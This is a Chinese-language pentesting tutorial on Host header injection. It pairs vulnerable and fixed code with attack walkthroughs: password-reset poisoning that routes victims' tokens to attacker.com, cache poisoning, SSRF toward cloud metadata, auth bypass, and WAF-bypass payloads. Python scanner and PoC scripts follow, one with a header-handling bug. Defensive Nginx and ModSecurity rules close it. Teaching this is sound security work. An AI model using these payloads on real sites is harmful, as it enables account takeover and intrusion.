适合人群:Web安全入门到中级、渗透测试工程师、Bug Bounty Hunter
前置知识:HTTP协议基础、Burp Suite基本使用、简单的Web应用原理
一、前置准备
1.1 环境搭建
# 使用 Docker 搭建本地靶场
docker run -d -p 8080:80 --name host-header-lab vulnerables/web-goat
# 或使用现成的 host-header 靶场
git clone https://github.com/we45/Host-Header-Injection-Lab.git
cd Host-Header-Injection-Lab && docker-compose up -d
1.2 工具清单
| 工具 | 用途 | 安装方式 |
|---|---|---|
| Burp Suite | 拦截修改Host头 | 官网下载 |
| curl | 命令行测试Host头 | apt install curl |
| Python requests | 自动化测试脚本 | pip install requests |
| wfuzz | Host头模糊测试 | pip install wfuzz |
| Nitko | 自动扫描已知漏洞 | apt install nikto |
二、核心原理
2.1 什么是Host Header?
Host头是 HTTP/1.1 的必选头域,用于指定请求目标的主机和端口号:
GET / HTTP/1.1
Host: target.com
当一台服务器上托管多个虚拟主机(Virtual Hosting)时,后端应用依赖 Host 头来路由请求到正确的虚拟站点。问题就出在这里——如果服务器直接使用 Host 头中的值来生成密码重置链接、缓存键、重定向URL,攻击者就可以通过篡改Host头实现多种攻击。
2.2 漏洞成因
用户请求 → Host: evil.com → 后端读取 Host 头 → 生成链接 http://evil.com/reset/abc123
↓
攻击者收到密码重置链接 → 劫持账号
三个核心条件同时满足才会存在漏洞:
- Web服务器配置不当:没有限制合法的 Host 头值
- 后端代码信任 Host 头:直接使用
$_SERVER['HTTP_HOST']、request.headers['Host']等 - Host 头值出现在响应或功能逻辑中:如重定向URL、链接生成、缓存键
2.3 常见脆弱场景
# ❌ 脆弱代码示例(Python Flask)
@app.route('/reset-password')
def reset_password():
token = generate_token()
# 直接使用 Host 头生成重置链接 — 高危!
reset_link = f"http://{request.headers['Host']}/reset/{token}"
send_email(reset_link, user.email)
return "密码重置邮件已发送"
# ✅ 安全修复:使用固定的 base URL
BASE_URL = "https://target.com"
reset_link = f"{BASE_URL}/reset/{token}"
// ❌ 脆弱代码示例(PHP)
$host = $_SERVER['HTTP_HOST'];
$reset_link = "http://" . $host . "/reset.php?token=" . $token;
mail($user_email, "密码重置", "点击链接: " . $reset_link);
// ✅ 安全修复
$allowed_hosts = ['target.com', 'www.target.com'];
if (!in_array($host, $allowed_hosts)) {
die("Invalid Host header");
}
三、实操步骤:6种攻击手法
3.1 基础Host头注入
最简单的测试方法:用 curl 或 Burp Suite 修改 Host 头。
# 基础测试:修改Host头
curl -s -H "Host: evil.com" https://target.com/ -I
# 查看响应头中是否有反射
curl -s -H "Host: evil.com" https://target.com/ | grep -i "evil.com"
# 测试绝对路径重定向(Location头是否使用Host)
curl -s -H "Host: evil.com" http://target.com/login.php | head -20
# Burp Suite Repeater 中的请求
GET / HTTP/1.1
Host: evil.com
Connection: close
# 如果响应中出现以下内容,说明存在漏洞:
# <form action="http://evil.com/login" method="POST">
# Location: http://evil.com/dashboard
预期结果:如果响应中包含 evil.com 的引用(如表单action、重定向、资源链接),则确认存在Host头注入。
3.2 密码重置投毒(最危险)
这是Host头注入中危害最大的攻击方式——直接导致Account Takeover。
# 步骤1:构造恶意密码重置请求
curl -X POST \
https://target.com/forgot-password \
-H "Host: attacker.com" \
-d "email=victim@example.com"
# 步骤2:监听攻击者服务器上的请求
# 在 attacker.com 上启动简易服务器
python3 -m http.server 80
# 受害者会收到一封包含链接的邮件:
# 点击 http://attacker.com/reset/TOKEN_HERE
# 攻击者访问日志即可获得TOKEN
自动化PoC脚本:
#!/usr/bin/env python3
"""
Host Header Injection - Password Reset Poisoning PoC
用法: python3 host_poison.py -t https://target.com -e victim@example.com -H attacker.com
"""
import requests
import argparse
import sys
def test_password_poison(target, email, host):
headers = {
"Host": host,
"Content-Type": "application/x-www-form-urlencoded"
}
data = {"email": email}
print(f"[*] 目标: {target}")
print(f"[*] 伪造Host: {host}")
print(f"[*] 受害者: {email}")
try:
r = requests.post(f"{target}/forgot-password",
headers=headers, data=data, timeout=10, allow_redirects=False)
print(f"[*] 响应码: {r.status_code}")
# 检查响应中是否包含我们的Host
if host in r.text or host in str(r.headers):
print(f"[⚠️] 漏洞确认!Host '{host}' 出现在响应中!")
# 检查Location头
if 'Location' in r.headers:
print(f"[!] Location头: {r.headers['Location']}")
# 提取链接
import re
links = re.findall(r'https?://[^\s"\'<>]+', r.text)
for link in links:
if host in link:
print(f"[🔥] 发现恶意链接: {link}")
else:
print("[-] 未直接在响应中发现Host反射")
print("[*] 建议检查邮件内容(如果可查看邮件服务)")
except Exception as e:
print(f"[ERROR] {e}")
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="Host Header Password Reset Poisoning")
parser.add_argument("-t", "--target", required=True, help="目标URL")
parser.add_argument("-e", "--email", required=True, help="受害者邮箱")
parser.add_argument("-H", "--host", default="attacker.com", help="伪造Host")
args = parser.parse_args()
test_password_poison(args.target, args.email, args.host)
3.3 Web缓存投毒(Cache Poisoning)
当CDN或反向代理(如Varnish、Squid、Cloudflare)使用Host头作为缓存键的一部分时,投毒Host头可以污染缓存的响应,让后续所有用户都收到恶意内容。
# 步骤1:找到使用Host头作为缓存键的端点
curl -s -H "Host: evil.com" https://target.com/static/settings.js
# 步骤2:检查响应头中的缓存信息
curl -sI https://target.com/static/settings.js | grep -i "x-cache\|cf-cache\|age:"
# 步骤3:发送投毒请求(包含X-Forwarded-Host)
curl -s -H "Host: target.com" -H "X-Forwarded-Host: evil.com" \
https://target.com/static/resource.js
# 缓存投毒请求
GET /static/api.js HTTP/1.1
Host: target.com
X-Forwarded-Host: evil.com
# 如果缓存服务器使用 X-Forwarded-Host 重写资源URL,
# 则所有用户访问此资源时都会加载恶意JS
Web缓存投毒完整检测脚本:
#!/usr/bin/env python3
"""
Cache Poisoning via Host Header - Detection Tool
"""
import requests
import sys
def detect_cache_poisoning(url):
headers_payloads = [
{"Host": "evil.com"},
{"Host": "target.com", "X-Forwarded-Host": "evil.com"},
{"Host": "target.com", "X-Forwarded-For": "evil.com"},
{"Host": "target.com", "X-Real-IP": "evil.com"},
{"X-Forwarded-Host": "evil.com"},
]
for i, headers in enumerate(headers_payloads):
try:
r = requests.get(url, headers=headers, timeout=10)
for key, val in headers.items():
if val in r.text or val in str(r.headers):
print(f"[!] Payload #{i+1}: {key}: {val}")
print(f" 反射位置: {'响应体' if val in r.text else '响应头'}")
print(f" URL: {r.url}")
print()
break
except Exception as e:
print(f"[-] #{i+1} 失败: {e}")
if __name__ == "__main__":
if len(sys.argv) < 2:
print(f"用法: {sys.argv[0]} <目标URL>")
sys.exit(1)
detect_cache_poisoning(sys.argv[1])
3.4 绝对路径重定向劫持
许多Web应用在登录、登出、支付回调等场景中,会基于Host头拼接绝对路径URL进行重定向。
# 测试重定向Endpoint
curl -sI -H "Host: evil.com" https://target.com/logout
curl -sI -H "Host: evil.com" https://target.com/login?redirect=/
curl -sI -H "Host: evil.com" https://target.com/pay/confirm
# 查看30x跳转的Location头
curl -sI -H "Host: evil.com" https://target.com/sso/callback | grep -i location
# 脆弱的重定向响应示例
HTTP/1.1 302 Found
Location: http://evil.com/dashboard # ← 被篡改!
Set-Cookie: session=abc123; path=/
3.5 SSRF 辅助利用
当后端使用Host头拼接内部API请求时,Host头注入可变为SSRF:
# 场景:后端从 Host 头提取域名并拼接内部API
internal_api = f"http://{host}/api/v1/users" # host 来自 Host 头
# 修改 Host: 127.0.0.1:8080/admin → 导致SSRF到内网
# SSRF探测
curl -s -H "Host: 127.0.0.1" https://target.com/api/proxy
curl -s -H "Host: 127.0.0.1:8080" https://target.com/api/proxy
curl -s -H "Host: 192.168.1.1" https://target.com/api/proxy
# 尝试内网服务
curl -s -H "Host: metadata.google.internal" https://target.com/
curl -s -H "Host: 169.254.169.254" https://target.com/ # AWS/GCP metadata
3.6 绕过认证(Authentication Bypass)
某些内部应用只检查Host头是否包含特定的内部域名,完全不检查实际URL:
# 绕过认证:使用内部域名作为Host头
curl -s -H "Host: admin.internal.target.com" https://target.com/admin
curl -s -H "Host: localhost" https://target.com/debug
curl -s -H "Host: 127.0.0.1" https://target.com/status
四、绕过技术
4.1 添加多个Host头(Duplicate Host)
某些代理/后端处理第一个和最后一个Host头的方式不同(HTTP请求走私的变体):
# 技术1:多个Host头(后端可能使用最后一个)
curl -s -H "Host: target.com" -H "Host: evil.com" https://target.com/
# 技术2:使用绝对URI(RFC规范:绝对URI的权威性高于Host头)
curl -s --request-target http://evil.com/api https://target.com/api
# 技术3:Host头末尾加空格/特殊字符
curl -s -H "Host: target.com%20evil.com" https://target.com/
curl -s -H "Host: target.com;evil.com" https://target.com/
# 请求行使用绝对URI(RFC 7230 允许)
GET http://evil.com/admin HTTP/1.1
Host: target.com
4.2 X-Forwarded-* 头利用
后端如果优先读取 X-Forwarded-Host 或 X-Forwarded-For 而非直接读 Host:
# X-Forwarded-Host 覆盖
curl -s -H "X-Forwarded-Host: evil.com" https://target.com/reset
# X-Forwarded-For + Host 组合
curl -s -H "X-Forwarded-For: 127.0.0.1" -H "X-Forwarded-Host: evil.com" \
https://target.com/admin
# 转发头优先级测试
for header in "X-Forwarded-Host" "X-Host" "X-Forwarded-Server" "Forwarded"; do
echo "[*] Testing $header"
curl -s -H "$header: evil.com" https://target.com/login | grep -i "evil" && echo " → $header works!"
done
4.3 Port Manipulation
# 在Host头中修改端口
curl -s -H "Host: target.com:12345" https://target.com/login
curl -s -H "Host: evil.com:443" https://target.com/redirect
# 空端口
curl -s -H "Host: target.com:" https://target.com/
4.4 编码绕过(WAF绕过)
# URL编码
curl -s -H "Host: target.com%2F%40evil.com" https://target.com/
# Unicode 编码(部分语言的处理差异)
curl -s -H "Host: target.com@evil.com" https://target.com/
# 换行/制表符注入
curl -s -H $'Host: target.com\tevil.com' https://target.com/
4.5 WAF指纹 + 绕过策略速查表
| WAF产品 | 绕过方式 | Payload示例 |
|---|---|---|
| Cloudflare | 用X-Forwarded-Host替代Host | X-Forwarded-Host: evil.com |
| Cloudflare | 用X-Host头 | X-Host: evil.com |
| AWS WAF | 添加重复Host头 | 两个Host头,第二个为恶意值 |
| F5 BIG-IP | 使用绝对URI(空格编码) | GET%20http://evil.com/ HTTP/1.1 |
| ModSecurity | Tab字符分隔Host值 | Host: target.com%09evil.com |
| Akamai | Forwarded: host=evil.com | Forwarded: host=evil.com; proto=https |
| Imperva | 多值Host(逗号分隔) | Host: target.com,evil.com |
五、完整检测工具链
5.1 自动化扫描器
# 使用 wfuzz 进行批量Host头测试
wfuzz -H "Host: FUZZ" -z list,evil.com-attacker.com-127.0.0.1-localhost \
https://target.com/login.php
# 使用 nikto 的 host头探测
nikto -h https://target.com -Plugins hostheader
# 自定义词表模糊测试
cat host_payloads.txt
evil.com
attacker.com
127.0.0.1
localhost
192.168.1.1
10.0.0.1
target.com:80
target.com:443
target.com%20evil.com
wfuzz -H "Host: FUZZ" -z file,host_payloads.txt \
-hc 400,403,404 https://target.com/
5.2 全自动检测脚本
#!/usr/bin/env python3
"""
Host Header Injection - Full automated detection suite
Usage: python3 host_header_scanner.py https://target.com
"""
import requests
import sys
import re
from urllib.parse import urlparse
class HostHeaderScanner:
def __init__(self, target):
self.target = target.rstrip('/')
self.parsed = urlparse(self.target)
self.original_host = self.parsed.netloc
self.results = []
def test_payload(self, headers, test_name):
"""发送测试请求并检查响应"""
try:
r = requests.get(self.target, headers=headers,
timeout=15, verify=False, allow_redirects=False)
# 检查反射
reflected = False
for key, val in headers.items():
if val in r.text:
reflected = True
print(f" [⚠️] {test_name}: Host '{val}' 反射到响应体!")
# 提取反射上下文
context = self._extract_context(r.text, val)
print(f" 上下文: {context}")
# 检查Location头
if 'Location' in r.headers:
for key, val in headers.items():
if val in r.headers['Location']:
print(f" [🔥] {test_name}: Host '{val}' 出现在Location头!")
print(f" Location: {r.headers['Location']}")
reflected = True
if not reflected:
print(f" [.] {test_name}: 未检测到Host反射 (HTTP {r.status_code})")
except Exception as e:
print(f" [ERROR] {test_name}: {e}")
def _extract_context(self, text, val, window=60):
"""提取值在文本中出现的上下文"""
idx = text.find(val)
if idx == -1:
return ""
start = max(0, idx - window)
end = min(len(text), idx + len(val) + window)
ctx = text[start:end].replace('\n', ' ').replace('\r', '')
return f"...{ctx}..."
def run(self):
print(f"[*] Host Header Injection Scanner")
print(f"[*] Target: {self.target}")
print(f"[*] Original Host: {self.original_host}")
print()
# Test 1: Basic Host override
print("[1/10] 基础Host头替换")
self.test_payload({"Host": "evil.com"}, "基础替换")
# Test 2: X-Forwarded-Host
print("\n[2/10] X-Forwarded-Host")
self.test_payload({"X-Forwarded-Host": "evil.com"}, "XFH")
# Test 3: Both
print("\n[3/10] Host + X-Forwarded-Host 组合")
self.test_payload({"Host": self.original_host, "X-Forwarded-Host": "evil.com"}, "Host+XFH")
# Test 4: Duplicate Host
print("\n[4/10] 双Host头")
self.test_payload([
("Host", self.original_host),
("Host", "evil.com")
], "双Host")
# Test 5: X-Host (非标准但常用)
print("\n[5/10] X-Host")
self.test_payload({"X-Host": "evil.com"}, "X-Host")
# Test 6: Forwarded (RFC 7239)
print("\n[6/10] Forwarded")
self.test_payload({"Forwarded": "host=evil.com"}, "Forwarded")
# Test 7: Absolute URI in request line
print("\n[7/10] 绝对URI请求行")
try:
import socket
s = socket.socket()
s.settimeout(10)
host = self.parsed.netloc.split(':')[0]
port = self.parsed.port or (443 if self.parsed.scheme == 'https' else 80)
s.connect((host, port))
if self.parsed.scheme == 'https':
import ssl
s = ssl.wrap_socket(s)
req = f"GET http://evil.com/ HTTP/1.1\r\nHost: {self.original_host}\r\nConnection: close\r\n\r\n"
s.send(req.encode())
resp = s.recv(4096).decode('utf-8', errors='replace')
if 'evil.com' in resp:
print(f" [⚠️] 绝对URI测试: 'evil.com' 出现在响应中!")
s.close()
except Exception as e:
print(f" [ERROR] {e}")
# Test 8: Internal IPs
print("\n[8/10] 内网/本地Host")
for ip in ["127.0.0.1", "localhost", "169.254.169.254"]:
self.test_payload({"Host": ip}, f"Host: {ip}")
# Test 9: Port injection
print("\n[9/10] 端口注入")
self.test_payload({"Host": f"{self.original_host}:12345"}, "端口注入")
# Test 10: Tab injection
print("\n[10/10] Tab制表符注入")
self.test_payload({"Host": f"{self.original_host}\tevil.com"}, "Tab注入")
if __name__ == "__main__":
if len(sys.argv) < 2:
print(f"用法: {sys.argv[0]} <目标URL>")
sys.exit(1)
requests.packages.urllib3.disable_warnings()
scanner = HostHeaderScanner(sys.argv[1])
scanner.run()
六、实战案例复盘
案例1:密码重置投毒 → 全站账户接管(某电商平台)
发现过程:
- 测试
/forgot-password接口时发现响应中有"reset_link": "http://target.com/reset/TOKEN"的JSON字段 - 将Host头改为
evil.com后,响应变为"reset_link": "http://evil.com/reset/TOKEN" - 注册域名
evil.com,设置通配DNS和HTTP服务 - 构造恶意密码重置请求给目标用户
- 用户收到邮件点击链接 → 攻击者服务器收到带TOKEN的请求
- 使用TOKEN直接重置用户密码 → 完成账户接管
修复方案:
# 后端白名单
ALLOWED_HOSTS = ['target.com', 'www.target.com', 'api.target.com']
def get_safe_host():
host = request.headers.get('Host', '')
if host not in ALLOWED_HOSTS:
return 'target.com' # 默认值
return host
案例2:内部应用 Host 头绕过(某云服务平台)
发现过程:
- 目标为
admin.cloud-service.com,但公网返回403 - 修改 Host 头为
127.0.0.1后,返回200并暴露了/internal/status端点 - 进一步扫描发现
/internal/db-admin面板暴露 - 通过内部面板获取了数据库连接字符串
教训: 内部应用只通过 Host 头识别"内部请求",没有真正的IP校验。
七、防御建议
7.1 开发者防御清单
# 1. 白名单验证(最可靠)
ALLOWED_HOSTS = ['example.com', 'www.example.com']
def get_host():
host = request.headers.get('Host', '')
if host not in ALLOWED_HOSTS:
raise ValueError(f"Invalid Host: {host}")
return host
# 2. 使用固定BASE_URL(生成链接时)
BASE_URL = "https://example.com"
reset_url = f"{BASE_URL}/reset/{token}" # 绝不拼接Host头
# 3. Nginx 层限制(推荐)
# 在 server 块中添加
if ($host !~ ^(example\.com|www\.example\.com)$) {
return 444;
}
# 4. Apache 限制
# RewriteEngine On
# RewriteCond %{HTTP_HOST} !^example\.com$ [NC]
# RewriteRule ^ - [F]
7.2 Nginx安全配置模板
# /etc/nginx/sites-available/target.com
server {
listen 443 ssl http2;
server_name target.com www.target.com;
# 拒绝非白名单Host的请求
if ($host !~ ^(target\.com|www\.target\.com)$) {
return 444;
}
# 禁止绝对URI请求行
if ($request_uri ~* ^http://) {
return 400;
}
# 限流:防止密码重置攻击
limit_req zone=reset burst=5 nodelay;
location / {
proxy_pass http://backend;
proxy_set_header Host $host;
proxy_set_header X-Forwarded-Host $host;
}
}
7.3 WAF规则(ModSecurity)
# 检测Host头篡改
SecRule REQUEST_HEADERS:Host "!^target\.com$" \
"phase:1,deny,status:403,id:10001,msg:'Invalid Host Header'"
# 检测X-Forwarded-Host覆盖
SecRule REQUEST_HEADERS:X-Forwarded-Host "@rx evil|attacker|hacker" \
"phase:1,deny,status:403,id:10002,msg:'X-Forwarded-Host injection blocked'"
# 检测重复Host头
SecRule &REQUEST_HEADERS:Host "@gt 1" \
"phase:1,deny,status:403,id:10003,msg:'Multiple Host headers detected'"
八、常见陷阱
❌ 陷阱1:只测试了首页
大多数首页不依赖Host头生成内容。必测Endpoint:
/forgot-password、/reset-password/login、/sso/callback/logout(检查Location头)/api/*(特别是返回JSON的API)/payment/confirm、/order/callback
❌ 陷阱2:忽略非标准转发头
后端可能读 X-Forwarded-Host、X-Host、X-Real-IP 而不是 Host。必须全测。
❌ 陷阱3:忘了检查邮件
密码重置投毒可能在响应中不反射,但邮件中拼接了恶意链接。如果有办法查看发送的邮件(如Mailhog、Mailtrap),一定要检查邮件内容。
❌ 陷阱4:HTTP/2 中的差异
HTTP/2 使用 :authority 伪头替代 Host 头。测试HTTP/2端点时要用 :authority:
# HTTP/2 测试(需要curl支持HTTP/2)
curl --http2 -H ":authority: evil.com" https://target.com/
❌ 陷阱5:只测了GET请求
POST、PUT、DELETE请求中Host头同样可能被利用。所有HTTP方法都测。
九、总结 & 速查表
漏洞检测流程
1. 收集所有Endpoint(密码重置/登录/SSO/OAuth回调/支付确认)
2. 修改Host头为 evil.com,检查响应体和Location头
3. 如果无反射,测试 X-Forwarded-Host / X-Host / Forwarded
4. 如果仍然无反射,测试 POST 请求(密码重置等)
5. 检查是否有缓存投毒可能:查看缓存头
6. 测试绝对URI请求行(RFC 7230)
7. 验证可访问性:恶意链接是否真的可以访问
Payload速查表
| 攻击类型 | Payload | 检测方法 |
|---|---|---|
| 基础注入 | Host: evil.com | 看响应/邮件是否出现 evil.com |
| XFH覆盖 | X-Forwarded-Host: evil.com | 同上 |
| 双Host头 | 两个 Host: 头 | 后端处理差异 |
| 绝对URI | GET http://evil.com/ HTTP/1.1 | 绕过部分代理 |
| Tab注入 | Host: target.com%09evil.com | WAF/ModSecurity绕过 |
| 端口注入 | Host: target.com:12345 | 绕过部分Host检查 |
| 内网SSRF | Host: 169.254.169.254 | 访问云metadata |
| Forwarded | Forwarded: host=evil.com | RFC 7239标准 |
严重等级评估
| 利用场景 | 严重程度 | CVSS评分类比 |
|---|---|---|
| 密码重置投毒 → ATO | 🔴 严重 | 8.0-9.1 |
| Web缓存投毒 | 🔴 高危 | 7.0-8.0 |
| SSRF辅助 | 🟡 中高危 | 6.0-7.5 |
| 开放重定向 | 🟡 中危 | 4.0-6.0 |
| 认证绕过(内部域名) | 🔴 高危 | 7.5-9.0 |
| 仅反射在响应体 | 🟢 低危 | 3.0-5.0 |
一句话总结:任何将Host头值用于URL拼接、身份判断或缓存键的Web应用都存在Host Header Injection漏洞。修复的黄金法则是白名单验证 + 固定BASE_URL,绝不直接信任客户端传来的Host头。